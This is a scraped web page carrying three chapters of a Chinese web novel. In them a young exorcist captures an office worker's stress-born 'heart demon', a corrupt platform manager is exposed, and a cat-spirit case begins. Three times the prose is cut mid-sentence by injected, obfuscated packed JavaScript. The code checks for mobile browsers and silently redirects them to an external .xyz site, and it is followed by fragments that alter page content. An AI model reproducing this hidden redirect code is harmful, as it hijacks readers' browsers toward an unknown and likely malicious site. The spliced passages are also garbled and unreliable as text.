怨气仍在源源不断地凝聚过来,水滴越来越密,师蓬蓬脸色也越发地不好看:“得赶紧找到它才行。” 那邪祟道行确实不高,可若继续拖下去,让它聚到了足够的怨气,结果还真不好说。 那道细细的声音再次在心里响起:“小法师,怕了吗?你现在跪下来求我,我可以考虑饶你一命……” 师蓬蓬懒得搭理它,转头去问颜京:“刚才在我来之前,这个东西有没有做过什么事?” 事到如今,只能先想办法弄清楚它的来历,或许可以从中找到些蛛丝马迹。 “没有。”颜京先是摇头,但转念一想,又道,“不对,是有一些奇怪的地方……” 他把“薛成荫”挑剔合同时说的话转述了一遍,师蓬蓬越听越觉得耳熟,忍不住“哇”了一声:“它好像那些讨人厌的甲方啊!” 话一出口,她心中倏然一动,想到了在17A看到的那家周末还在加班的广告公司。要说最经常跟甲方打交道的人,那非广告公司的人莫属。 刚才佘满庭也跟她说,这只邪祟出现的当晚,就把一个广告公司的员工给害了,那人现在还在昏迷中。 但她方才跟它斗法时,却并没有在它身上发现眚气。这只邪祟性情如此乖张,若害过人,不太可能不产生眚气。 师蓬蓬心念电转,想到了另一个可能。 或许,那员工根本不是被这邪祟所害,恰恰相反,是因为那员工出了事,才催生了这只邪祟呢? 想到这里,师蓬蓬精神一振,掏出几张黄符,两步向前往薛成荫的胸口处贴去。 果不其然,那细细的声音再次响起,不过这次带了惊恐:“你干什么?快住手!!” 但师蓬蓬哪会听它的,接着按住薛成荫的手腕脉搏,这里连接着人的心肺,驱邪咒落下,符纸上的朱砂亮起,紧接着,一道灰色的影子从薛成荫的胸口处飞了出来。 另外四道灵符同时升起,结成四象符阵,瞬间将这灰色影子收服。 佘满庭惊讶道:“它原来还在这个人身上啊?” 师蓬蓬点头:“嗯,它藏到心里去了。” 刚才的符水确实解除了它对薛成荫的附身,但它并没有从薛成荫体内出来,而是趁机藏到了她的心里。 这并不是一般邪祟能做到的事情,因而她一开始根本没发现。 颜京疑惑:“它到底是什么东西?” 师蓬蓬皱了皱鼻子:“我没猜错的话,它应该是广告公司的员工被甲方折磨出来的心魔。” 颜京、佘满庭:??? 10.除魔 这时,真正的薛成荫发出一声嘤咛,悠悠转醒过来。 卫驰也恢复了正常,忙上前扶了她一把:“薛总,您感觉怎么样?” “不要紧。”薛成荫摆摆手,目光找到师蓬蓬,冲她点头道谢,“刚才真是多亏你了。” 薛成荫虽然被附身,但并不是一无所知的状态。据她说,她刚一进入洛金大厦,就感觉心脏好像突然被针刺了一下似的,有些不舒服,但以为是工作太忙导致的,也没太当回事,只是心情莫名地变得烦躁,忍不住对着随行的助理一顿挑刺,还故意给她安排了一堆刁难人的工作,因此助理后面才没能陪同过来。 不料后面心脏的不适感越来越严重,连带着意识也逐渐陷入模糊,薛成荫察觉不对,想要挣扎,却已经无法控制自己的身体。 再后来,就是颜京和卫驰看到的情形。 说到这,她还有些惊奇,失笑道,“我以前从来不信这些,没想到有一天会亲自碰上。” 师蓬蓬见她情绪良好,没有过度受惊的样子,便也松了口气,这才将四象符阵收了回来。 那道灰色的影子已经缩成了拳头大小,黑乎乎的,乍眼一看好似一颗煤球。它见逃脱不得,总算彻底老实了下来,拖着那道细细的声音,委委屈屈地告知了自己的来历。 果如师蓬蓬的猜测,这小煤球正是广告公司那个休克的员工的心魔。 心魔说道,那个广告公司的员工名叫张设,原本是个挺开朗的人,大学毕业后进入广告公司工作,经常要熬夜加班不说,还时常要面对一些奇葩甲方,由于工作压力太大,渐渐的精神状态就出了点问题,两年前更是查出了轻微的精神分裂,疑似出现幻觉、妄想和感知障碍等症状。 不过,精神分裂其实是误诊,实际张设的这些症状,都是因为他当时心里已经产生了心魔,又在不知情的情况下,误把心魔当成了第二人格的缘故。 心魔脱胎于人类精神中的杂念幻景,后面张设吃了一段时间的药,精神好了一些,心魔也被暂时地压制了下来。 但这两年经济下行,工作卷得厉害,尤其是随着AI技术在文字和图片领域的发展,广告公司的竞争越发激烈,对员工的压榨现象也更加严重。张设也感受到了AI带来的压力,为了保持创作灵感和激情,他暗中停掉了一直在吃的精神药物。 如此,在各个因素的共同作用下,他的心魔再次冒了出来。直到上个月,张设接到了一个蛮不讲理的客户,在对方的连续折磨下,心魔越来越强,终于彻底修炼成型。而张设在连续通宵了几个晚上后,再也支撑不住,休克了过去。 不幸中的万幸,张设及时被同事发现送去了医院,保住了性命,不过他的心魔却脱离了他的身体,留在了洛金大厦里。 因是工作压力下产生的心魔,与打工人的怨气可谓同根同源,因此它一出现,整个西洛CBD的怨气就自然地向着它汇聚,渐渐地就形成了现在的局面。 而作为心魔,它最喜欢寻找精神脆弱的人,伺机进入对方的心里,进而迷惑对方的心智以取乐,所以佘满庭平时很少见到它的行迹,更不知它藏在哪里。 说到这,师蓬蓬有些奇怪,“那你为什么会附到薛总身上?” 她虽然是第一次见到薛成荫,但从刚才的短短相处就可看出,薛成荫的精神状态十分稳定,连被邪祟附身这种事都可以等闲视之,按说这样的人应该不在心魔的狩猎范围之内才对。 心魔语气讪讪,“因为她身上有很浓的甲方的气息,我是乙方心魔,当然想体验一把做甲方的感觉……” 师蓬蓬:“……” 其他人:“……” 好一个朴实无华又合情合理的理由。 薛成荫作为年光集团市场部的负责人,毫无疑问是许多广告公司最大的甲方之一,因此虽然她精神稳定,依然一下子吸引到了这个乙方心魔。 也因此,心魔一附身成功,就摆足了甲方姿态,憋着劲地为难颜京,也不管自己的行为看起来多么不合理。盖因这就是心魔天生的弱点,难以摆脱催生它们的怨念。 薛成荫没想到自己被心魔盯上的原因竟是这个,一时啼笑皆非,感慨道:“看来以后得多注意一下跟乙方的合作流程才行。” 虽然她自己并不是那种会苛待乙方的人,但下面那么多人,难保不会有人仗着一点权力,在外面作威作福。 工作本身倒是小事,就怕再催生出一个心魔,可不一定有这次的运气。 万幸,这一次碰巧有颜京的高人朋友在场,才使危机得以顺利化解。思及此,薛成荫对师蓬蓬越发感激,可惜当下还有工作要做,不便详谈,只能先加了她的微信。 这个会议室里聚集了大量实体化的怨气,不宜久留。颜京让卫驰找酒店方重新开了一个房间,并将这个会议室暂时封锁起来,等今日的工作结束,再找洛金大厦的负责人说清楚大厦的情况,最好能在这里做一场法事,消解这些怨气。好在洛金大厦的资方一向笃信风水学说,想来不会太难沟通。 师蓬蓬见他们要继续谈工作上的事,显然不方便有外人在场,便拿出一根红线将心魔捆好,跟拎猪肉一样拎起就退了出去。 远远的,还能听到心魔在“嘤嘤”求饶:“姐,你能不能放我一马?我以后再也不敢了!” 师蓬蓬:“谁是你姐?” 心魔:“哦哦,我懂,爸爸!你以后就是我爸爸!” 颜京:“……” 不愧是乙方的心魔,姿态都如此的卑微…… …… 与此同时,西洛市人民医院的一个病房里,已经昏迷了一个月的张设缓缓睁开眼,嘴唇翕动:“妈……” 守在他身旁的母亲一个激灵,连忙抬头看去,顿时惊喜地瞪大眼睛:“阿设,你终于醒了!太好了,真是太好了!” 接着去冲到病房外大喊,“医生,护士,阿设醒了,你们快过来看看啊!” 走廊外顿时响起一阵凌乱的脚步声,医生和护士很快涌了进来。 这一个月来,医生给张设做了无数检查,明明各项指标都很正常,但是张设就是一直昏迷不醒。眼看时间一天天过去,家属越来越焦虑,医院方面也束手无策,这两天已经开始考虑把他转到京城的医院去了。 没想到突然之间,张设毫无征兆地就醒了。 主治医生来到病床前,正要开始检查,就见张设一脸释怀的样子,缓慢但坚定地说道:“我、我要辞职……” 心魔拔除,过往的执念随着消散。经历此一大劫,方知人生大事,不过生死。 工作固然重要,却不值得以健康和生命为代价。 . 师蓬蓬把心魔收好,正准备找个地方休息一下,卫驰就从后面跟了上来,递给她一张橙边白底的临时工牌:“师小姐,差点忘了,这是颜总交代给你的。大会场那边的培训会快开始了,你先去找个地方坐下,我和颜总签完合同就过去。” 又和她说了会场的详细地点,便匆匆忙忙地往回走了。 师蓬蓬一边往会场的方向走,一边低头看了眼工牌,然后:“……?” 只见工牌上的公司名称赫然写着四个字:猫爪科技。 师蓬蓬这才恍惚记起爷爷给她打电话的时候,曾经说过颜京在西洛一家挺大的公司上班。 只是她一向对颜京的情况不甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14706571|156158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在意,即使接了颜老爷子的单子,也从来没想过要多问,想着反正不管颜京做的是什么工作,都跟她没有关系。 她是真没想到,颜京居然是猫爪科技的员工! 这关系可就大了! 可惜卫驰已经走远了,颜京这会也在忙,只能等晚点再问了。 …… 猫爪科技的这场培训会,正是针对最近的助农专题,向即将参加活动的各大商家开展的主题会议。 师蓬蓬当初刚申请到猫爪的流量扶持时,猫爪的工作人员就和她提过后续会有这么一个培训,她还挺期待来着。只是后来她的渠道被同公司的刘裕广抢走,和猫爪对接的人也换成了刘裕广的下属,师蓬蓬便没有了后续的消息。 没想到兜兜转转,她还是来到了这个培训会,师蓬蓬心情一时有些复杂。 猫爪不愧是国内数一数二的视频平台,光是一个专题的培训会,规模就十分惊人。 此时临近开场,大厅已经坐满了人,师蓬蓬只能往人员较少的角落里走。 好不容易找到一个空位,刚要坐下,旁边突然有人喊了她一声:“师蓬蓬,你怎么在这?” 师蓬蓬侧过头,就看到一个衣冠楚楚的中年男子,正是公司的销售主管刘裕广。 刘裕广身旁还站着一个穿蓝色西装的瘦高男人,胸前挂着猫爪工牌,上面写着渠道部经理康禄。两人避开人群站在角落里,似乎正在谈论什么。 刘裕广显然没料到会在这里碰到师蓬蓬,眉头皱成了一团。倒是康禄一见是个漂亮的年轻女孩,脸上立刻多了几分兴味:“刘经理,这位是?” “康经理,她就是我们公司电商部的那位同事,师蓬蓬。”刘裕广应道,说着还凑近他耳边,小声嘀咕几句什么。 “原来就是她啊。”康禄神色微微一变,再看向师蓬蓬时,语气中多了几分傲慢,“师小姐,我们公司好像只给贵司的刘经理一人发了邀请函吧,你是怎么混进来的?” 师蓬蓬察觉到他语气中的不善,心里感觉有些古怪,但还是礼貌地点了下头,如实说道:“我是跟朋友一起来的。” “哦?”刘裕广闻言挑了下眉,一脸不信,“以前怎么没听说,你还有这样的人脉?” 这场培训会虽说是对外开放的,但猫爪科技的名头摆着,邀请函极为抢手,如福熹这样的小商家,一个公司只能拿到一张。 师蓬蓬刚出社会,职场上的朋友都没几个,更别说能给她邀请函的了。 康禄也轻笑了一声,带了几分戏谑:“不知你朋友是哪个商家的,说出来我认识一下。” 师蓬蓬对他的态度很是反感,但考虑到他是颜京的同事,还是忍了下来,冷淡地说:“不是商家,他也是猫爪的员工。” 她想起刚过来时颜京对她的嘱咐,便又补充道,“叫颜京。” 不料此话一出,康禄和刘裕广对视一眼,竟是同时大笑起来。 刘裕广前俯后仰,几乎都要把眼泪笑出来了,道:“师蓬蓬,我以前怎么没发现,你这么能吹牛呢?” 康禄自恃身份,倒是没那么夸张,但脸上也露出了毫不掩饰的嘲讽:“师小姐,让我考考你,你知道颜京是什么人吗?” 师蓬蓬见他们的反应如此奇怪,隐隐猜到了什么,但脸上仍不动声色,只面无表情地看着他们,没有应话。 刘裕广以为她是因为被拆穿而尴尬得不敢说话,越发的得意,一副领导的口吻道:“蓬蓬,别说哥没告诉诉你,猫爪直播只有一个叫颜京的人,就是康经理的顶头上司,电商部的副总裁。” 师蓬蓬:“……?!” 嚯,这孙子职位这么高呢! 11.霸道总裁 若说刘裕广和康禄方才还有所疑虑,现在则完全确定,师蓬蓬就是在信口雌黄。 她要是随便说个别的什么人都还好,偏偏说的是颜京。颜京在猫爪是什么地位?若她能有颜京这条门路,又怎么会花了那么多功夫,才拿到猫爪的一个小推荐位,还轻而易举地让刘裕广给抢了过去。 想来她还是心有不甘,因此想方设法蒙混进了猫爪的培训会,至于想做什么,也不难猜。 年轻人大都天真,没见识过社会的险恶,总以为这是一个可以让他们讨公道的地方。 想通此节,刘裕广也不着急了,还故意逗弄她:“蓬蓬,你要是真那么想做猫爪的渠道,跟我说一声不就好了,何必搞得这么麻烦?你入职的时候我就跟你说了,随时欢迎你来我部门。” 师蓬蓬刚进福熹食品还没多久的时候,刘裕广看她长得漂亮,曾提出让她转岗到他手下,并话里话外地暗示她不要浪费自己容貌上的优势。 师蓬蓬对他这种行事风格极为反感,当时就毫不犹豫地拒绝了他。刘裕广被她下了脸面,自此一直看她不顺眼,这次抢她渠道,除了看中猫爪的资源外,一部分原因也是想给她一点下马威。 “没事的话我走了。”师蓬蓬懒得和他作口舌之争,转身就要离开。 “站住。”康禄伸手拦她。 师蓬蓬只得顿住脚步,耐着性子问:“还有什么事吗?” “没什么。”康禄冷眼看她,透着一股轻蔑,“不过这不是你能来的地方,请你马上离开。” 若师蓬蓬是个懂得看形势的,顺势接下刘裕广抛出的橄榄枝倒也罢了,但她既然油盐不进,康禄可就不能让她继续留在会场里。 虽然她人微言轻,大概也不知晓什么,但看着是个难搞的倔脾气,万一闹腾起来,被有心人知道了,他还真不好处理。 师蓬蓬面色一垮:“凭什么?” “当然是凭我是猫爪的领导。”康禄冷笑一声,随即朝不远处的两个保安招了招手。 两个保安连忙小跑过来,其中一人问道:“康经理,请问有什么事吗?” 康禄看了眼师蓬蓬,道:“这个人没有受到我们的邀请,不知道是怎么混进来的,你们把她带出去。” “是。”保安点头,转身道,“这位小姐,请你跟我们走吧。” “别听他胡说,”师蓬蓬退后一步,拿出临时工牌,“我有证件的。” 康禄眼睛微微一眯,恍然大悟:“好啊,原来是偷了我们的工牌。” 师蓬蓬:“……” 这人有毒吧?猜得很好,下次别猜了。 两个保安闻言,更笃定这女孩不是正经宾客,见她不配合,便要强行动手。 师蓬蓬都无语了:“我真是颜京的朋友!” 刘裕广见她到了这时候还在痴人说梦,越发地觉得好笑,讥讽道:“你要是颜京的朋友,我就是颜京的爹……” 话音未落,旁边突然响起一道冷冷的声音:“我怎么不知道我在外面还有个野爹?” 刘裕广转过头,才发现旁边不知何时站了一个长相俊美的男子,正用一种不爽的眼神看他。 正感到疑惑,就见康禄脸色猛然一变,脱口喊道:“颜、颜总,你怎么来了?” 刘裕广:??谁? 颜京刚刚和薛成荫签完合同,卫驰就提醒他该出席培训会了。由于心魔的意外,今日的行程比预期的要赶,颜京力求低调,便从侧门进来,准备绕小道到主席台,没想到一拐弯,就看到了师蓬蓬被几个男人围在角落里,看起来似乎在争执什么。 颜京见情况不对,便上前想了解一下情况,结果正好听到了刘裕广的炸裂发言。 刘裕广反应过来,恨不得当场给自己两个嘴巴子,连忙换上谄媚的笑:“您就是颜总啊,抱歉抱歉,我刚才在开玩笑呢……” 颜京没搭理他,看向师蓬蓬:“发生什么事了?” 康禄还以为是在问他,忙应道:“颜总,这个人偷了我们的工牌混进会场,还胆大包天地冒充您的朋友,我正要叫保安把她带走呢。” “你在说什么呢?”颜京莫名其妙地看他,“她就是我的朋友。” 康禄、刘裕广:???!! 颜京的话不亚于平地惊雷,康禄和刘裕广俱是一愣,由于太惊讶,表情都有些扭曲。 “这这……”康禄看看颜京,又看看师蓬蓬,一时竟失了言语。 颜京:“怎么?” “没、没,”康禄一激灵,这才回过神来,他反应还算快,当即把保安赶了回去,换上一副和善的面孔,“原来是这样,误会,都是误会,哈哈,是我有眼不识泰山了。” 师蓬蓬见他变脸这么快,不禁“噗嗤”一声,笑了出来。 康禄顿时脸都绿了。 颜京觑了她一眼,嘴角微抽:“你还笑得出来?” 师蓬蓬摊手,一脸的理直气壮:“爱笑的女孩运气不会太差嘛。” 颜京:“……” “罢了。”颜京按了下额角,无奈道,“你跟我来吧。” 这小神婆可是今天的大功臣,若不是她,猫爪和年光集团的合同能不能签下来都不一定,结果就这么一会功夫,她居然差点让人赶出去了。 真是让人不省心,还是得看着才行。 师蓬蓬倒是无所谓,“哦”了一声,就屁颠屁颠地跟着他走了。 直到两人走远,刘裕广还是觉得难以置信,缓缓地看向康禄:“康经理,这这、怎么会这样?这下该怎么办?” 他不出声还好,一出声,康禄顿时想起这个罪魁祸首,咬着牙骂道:“你还敢问我?不是说她就是个刚出社会的小年轻吗?为什么会认识颜京?你算是可把我害惨了!” “话也不能这么说。”刘裕广也火了,他好歹工作了这么多年,也是有点社会地位的,哪能忍受这样劈头盖脸的指责,道,“康经理,钱你也没少收,总不能一点风险都不担吧?” “那点钱算什么,你知道颜京是个什么样的人吗?” “我怎么会知道他是什么人,倒是康经理你,若是那么害怕颜京,一开始就别出来捞不就行了?” …… 师蓬蓬一边走一边感慨:“厉害啊,京哥,没想到你居然是猫爪直播的总监!” 颜京奇怪地看她:“你之前不知道吗?” 他们相亲的时候师蓬蓬就直白地说是看中他“条件好”,后面也从来没问起他工作的事,颜京以为她是早就都弄清楚了。 师蓬蓬想说我哪会知道,但转念一想,刚刚才承了他的人情,还是得给一点面子,便含糊道:“隐隐约约有听我爷爷说过你工作很好啦……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720883|156158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 颜京闻言,顿时对她更鄙视了。 原来她连他具体是做什么的都不了解,只是听到他工作好,就巴巴地跑来和他相亲了。 太堕落了! 不过他反正已经把态度和她说清楚了,也就不再纠结,话锋一转,道:“你和康禄那两个人到底是怎么一回事?” 虽然方才康禄竭力掩饰,但颜京不是傻子,别说师蓬蓬明明拿着工牌,就算真是混进来的,现场这么多人,正常情况下根本不会引起注意,更不会闲得专门去赶她。 除非事出有因。 师蓬蓬默了一下,倒不是不好意思告诉颜京,而是不知该怎么说起。她也不笨,一早就听闻过刘裕广一贯的做事“门道”,所以在得知猫爪同意让刘裕广上架违规产品的时候,就隐约有所猜测。 刚才看到刘裕广和康禄混在一起,后面两人又那样防备着她,则让她更加肯定了自己的想法。 但她手上没有证据,也不清楚猫爪的规章制度,只怕贸然说出,颜京不一定能处理,反而还让他难做。 颜京见她犹豫,脸色不虞,道:“怎么,不相信我?” “不是。”师蓬蓬眨眨眼,“我只是在想,有没有必要说。” 颜京下巴轻抬,一脸的不容置疑:“如果是猫爪的事,那有没有必要,得我说了才算。” 师蓬蓬被他的王霸之气震了一下,差点忘了他在阴物面前狼狈的样子。不过他既然这么说了,她也就不再客气,便将事情经过原原本本地说了一遍。她没有说自己的怀疑,相信他能坐到这个位置,只会想得比她更深。 果不其然,颜京听完,脸色就是一沉,冷笑道:“我就知道姓康的不老实。” 电商部门对接各大商家,油水可观,很难保证下面的人不起歪心思,猫爪这种体量的公司,也几乎不可能杜绝这样的事情。但助农专题是国家扶持的项目,目的不仅仅是卖货这么简单,颜京绝不允许有人染指。 “你放心,我会查清楚的。”颜京看着她,“还有你的推荐位,我也会争取给你恢复的。” 师蓬蓬精神一振:“可以吗?” 如果真的查到刘裕广身上,势必会涉及福熹食品,所以她真没想过还可以把推荐位拿回来。 “当然。”颜京挑眉,“算起来,你还帮了我一个忙。” 师蓬蓬一听就明白了。 估计颜京早就怀疑康禄有问题了,只是出于什么原因,一直没能动他,她这一波,算是给了颜京一记助攻。 师蓬蓬抱拳:“不客气。” 颜京好笑,冷哼一声,“康禄踢到你,算是踢到铁板了。” 师蓬蓬:……这就是霸道总裁的魅力吗?爱了。 “京哥,你真好!”师蓬蓬眼睛亮晶晶地看着他,并很有敬业精神地承诺,“你放心,以后只要你需要,我就会一直跟在你身边,一步都不会离开你的。” 颜京:“……” 他还是第一次得到师蓬蓬这么直白的肯定,一时竟有些不习惯,脸色微微有些不自然。见她一脸崇拜(?的样子,生怕她又生出不该有的心思,轻咳一声,强调道:“我只是公事公办,你可不要想太多了。” 师蓬蓬莫名,这有什么好想太多的? 不管了,老板说什么都是对的,师蓬蓬乖巧点头:“我懂我懂。” 12.怪梦 培训会结束后,师蓬蓬按照约定,给佘满庭做了一场超度仪式,驱除了他身上的怨气,使他得以挣脱洛金大厦,去往阴曹。 颜京那边的速度也很快,只过了两日,猫爪直播内部就传出消息,渠道部经理康禄收受贿赂,被公司开除调查,向他提供过好处的商家全部撤销原定的合作计划,情节严重的永久进入猫爪的黑名单。刘裕广的产品也在被撤掉合作的名单里,好在主要是他的个人行为,福熹食品没有受到牵连。 师蓬蓬随后收到猫爪的工作人员的电话,通知她可以继续参加专题活动,平台除了恢复原定给她的推荐位外,还额外补偿了她一部分流量扶持,其中包括一个大类目的首页展示。 师蓬蓬收到消息的时候都惊了,心想颜京太够义气了,居然给她争取了这么多福利。 首页展示这种资源,放以前,她是想都不敢想的。她赶紧给颜京发了条信息表示感谢。 颜京的回复言简意赅。 颜京:【不客气,你们公司那个姓刘的付过钱了。】 SPP:【0.0】 原来刘裕广和康禄的交易,不单单是挤占了师蓬蓬的一个推荐位,还有后续的一系列资源输送,这个首页展示就是其中之一。为此,刘裕广付出了不少好处费。 现在康禄被带走调查,他的账户也被冻结,刘裕广想拿回这笔赃款可没那么容易,何况猫爪也对他保留了追究法律责任的权利。 所以说,这些资源都是刘裕广买过单的也不完全是个玩笑。 当然,要说这里面没有颜京的指示那也是不可能的,只不过他走的是正规的渠道,以他的身份,这就是捎带手的事。 刘裕广为此焦头烂额,急得嘴角起了几天燎泡。可惜他在福熹树大根深,谭薇现阶段还动不了他,只能暂且将事情压下。 师蓬蓬对此深感遗憾,不过眼下也没精力关注他。猫爪直播的助农专题已经正式上线,她也跟着忙碌了起来。 本来只有一个小推荐位,师蓬蓬计划是先专心运营平河村的竹艺制品这一项。 但现在有了更多的流量扶持,连带着,店铺的其他产品也都有了不错的曝光。 师蓬蓬又做运营又做客服,忙得不可开交。好在辛苦归辛苦,总算有了回报,她手上的几个产品卖得都很不错,短短几日,都快赶上一些大客户的订单了。 平河村的竹制品受限于品类特性,销量没能大爆,不过也比预期的好上许多。温妙显然对这个结果十分满意,连着给师蓬蓬发了好几条感谢的信息,又另外寄了两大包裹的特产给她。 师蓬蓬在办公室就把包裹给拆了,见都是笋干腊肉一类的东西,便分给了同事,自己只留了一部分,还给颜京发了条信息。 SPP:【哥,平河村的老乡给我寄了很多笋干和腊肉,都是他们自己做的,味道挺不错的,给你寄一份?】 那边过了一个多小时才回复。 颜京:【平河村?】 SPP:【就是我在卖的土特产】 颜京:【不用。】 过了十分钟,又发过来一条。 颜京:【忙,不做饭。】 SPP:【0.0哦,那我自己吃啦】 那边没再回复,师蓬蓬也就没管,正想继续工作,又有一条新的信息跳了出来。 英勇的特种兵:【姐,在吗?】 SPP:【你是?】 英勇的特种兵:【嗷嗷嗷,是我啊,郭锦苔,你在玉肩山救了我一条狗命的,记得吗?】 一说玉肩山,师蓬蓬就想起来了,原来是那个半夜上山看日出遇到黄娘子的特种兵男大。 这什么破ID……师蓬蓬赶紧改了个备注。 SPP:【记得,什么事?】 郭锦苔:【没什么,就是想问问你接不接单子,我舍友想找人去家里做场法事。】 师蓬蓬有点奇怪,既然是郭锦苔的舍友,那也就是大学生,不说信不信这个,一般要做法事,首先想到的也应该是去找观里的正经道士,怎么会找她? 她刚想问,对面就先抢答了。 郭锦苔:【不是给人做的,是给他的猫。】 男大的手速非同凡响,郭锦苔打字速度比颜京快多了,信息一条接一条发过来,不一会,就把事情缘由交代了一遍。 原来他舍友家里从小养了只猫,养了足有二十几年,远远超过了普通猫的年纪,上个月,那只猫由于年纪太大老死了,他舍友很是伤心了一阵子,不过想到猫是寿终正寝的,很快也就看开了。 不料到了半个月前,他舍友突然频频做起了怪梦,梦里他那只已经老死的猫就蹲在他的床头,也不说话,就用一双碧绿的大眼睛幽幽地看着他,眼神里充满了欲诉还休的谴责。 一开始,他舍友还以为只是日有所思夜有所梦,可是同样的梦连着做了半个月,心里难免有些发毛,便和几个舍友说了。 其他人倒也罢了,郭锦苔可是有过灵异经历的,一听就觉得这事有点蹊跷,不能放任不管。两人发挥大学生的主观能动性在网上一通查找,最后得出结论,这种情况属于死后不安,应该要找人来做一场法事,超度亡魂。 舍友一开始还真是想去找个道士,但因为是给猫做的,怕让人笑话,又怕遇到骗子,这时郭锦苔就想起了师蓬蓬,这位的实力他可是亲眼见过的,年纪也和他们差不多,包容性应该比较强。舍友听他这么说,也觉得有道理,就同意了。 看完信息的师蓬蓬:“……” 这就是清澈的大学生吗,网上查一查就把结论定了。 SPP:【行。】 有钱赚当然还是要赚的,何况这才是她本专业的事。不过这几天她还在忙,只能和郭锦苔约了晚上过去。 …… 到了约定当天,师蓬蓬提前一小时下了班,带着她的帆布包和一袋平河村的特产前往洛江水岸。 特产是给郭锦苔带的,他上回在玉肩山的农家乐吃土菜时一直说好吃,师蓬蓬便顺口问了一句要不要特产,他连回三个要,尽显牛马本色。 洛江水岸是西洛市有名的高端小区,住在这里的非富即贵,小区管理十分严格。 师蓬蓬在门卫处登记了身份信息,然后站在保安亭旁边,正等着郭锦苔和他舍友出来接,旁边突然传来一道熟悉的声音:“小神婆,你怎么在这?” 师蓬蓬转头,就对上一张俊美的面孔。 颜京穿着一身黑色的运动服,短袖下露出流畅的手臂肌肉,额头上缀着一层细密的汗,看样子应该是刚运动完。 师蓬蓬“咦”了一声,露出个灿烂的笑容:“真巧啊。” “嗯。”颜京慢吞吞地点了下头,眼神有些古怪,他记得她住的地方离洛江水岸还挺远的,这应该不是她正常活动的区域才对。 视线向下,看到了她手上拎着的一袋笋干腊肉,联想她前几日发的信息,颜京顿时恍然。 她也真是的,居然还专程送过来,也不嫌麻烦。颜京板起脸,一脸矜持:“不是都跟你说了不用……” 还没说完,就见两个朝气蓬勃的大男生从小区里跑出来,其中一人飞奔到师蓬蓬面前:“姐,不好意思,让你久等了,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14731773|156158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们有钱人的小区太麻烦了。” 说着自来熟地去给她提东西,又是一阵“哇哇”叫,“这些就是带给我的吗?太多了吧,你太客气了……” “闭嘴,”师蓬蓬被他吵得耳朵疼,“拿着就是了。” 郭锦苔:“哦哦。” 师蓬蓬这才又转头去看颜京:“你刚刚要说什么?” 颜京抿了抿唇,面无表情:“没什么。” 师蓬蓬:“。” 这小子怎么又不高兴了,真是一如既往的难以捉摸。 郭锦苔的舍友叫卢俊青,能住在这个小区,可见家境优渥,父母都是做生意的,平时都忙得不见人影,家里经常只有卢俊青和保姆阿姨。 因为今天要做法事,卢俊青专门给保姆放了一天假。 颜京听了一会,才知道师蓬蓬出现在这里的原因,再看郭锦苔手上那袋本应该是他的特产,心情莫名地不爽,冷不丁开口:“我可以一起去看看吗?” 郭锦苔和卢俊青都是社牛,知道他是师蓬蓬的朋友,又是一个小区的,自然都无所谓。倒是师蓬蓬有点奇怪,问道:“你对法事感兴趣?” 以往他可都是有多远离多远的。 颜京双手插兜,神色酷酷:“没见过猫的。” 师蓬蓬:“……哦。” 几人一起上了楼,卢俊青刷指纹开门,刚要招呼他们到客厅坐下,就见一道花色的影子从柜子上跳下来,猛地扑向旁边的一个玻璃摆件。 卢俊青大惊:“花盆,别闹!!” 但哪里来得及,只听“砰”的一声巨响,玻璃摆件砸到了地上,摔了个四分五裂。 卢俊青发出尖锐的爆鸣声:“花盆,求求你快收了神通吧,再折腾下去,我们早晚住上毛坯!” 只见那是只三色的狸花猫,长得皮光水滑,十分健硕。它对卢俊青的话充耳不闻,见有其他人一起进来,也只瞥了一眼,便一抬屁股,大摇大摆地往阳台跑了。 师蓬蓬:“这是?” “哦,它是我刚收养的猫,叫花盆。”卢俊青一边捡玻璃碎片一边叹气,“这个小骗子,我本以为它跟板砖一样亲人呢……” 板砖就是他原来养的那只猫。 卢俊青说,板砖走了以后,他原本是不想再养猫了的,但是大约半个月前的一天,他外出吃饭时,路边突然跑出来只流浪猫抱住他的小腿,还亲昵地用脑袋蹭他。 那天下着大雨,流浪猫浑身湿漉漉的,看起来特别可怜,卢俊青当时就心软了,但又还没做好接受一只新猫的心理准备。正在犹豫的时候,前面的楼上突然掉下来一个花盆,把他吓了一跳,因为他原本正好要经过那里,如果不是被流浪猫抱住,那个花盆可能就砸到他头上了。 卢俊青觉得是这只猫冥冥之中救了他一命,这才下定决心,把它收养了回来,取名花盆。 当时花盆对他又抱又蹭,卢俊青还以为是只好脾气的猫,没想到到了家里还没两天,这家伙就露出了真面目,别说让他抱了,摸都不给摸一下,更别说动不动就在家里跑酷,破坏力堪比哈士奇,而且它还尤其喜欢破坏卢俊青的东西,卢俊青好几双名牌鞋子都让它咬了个对穿。 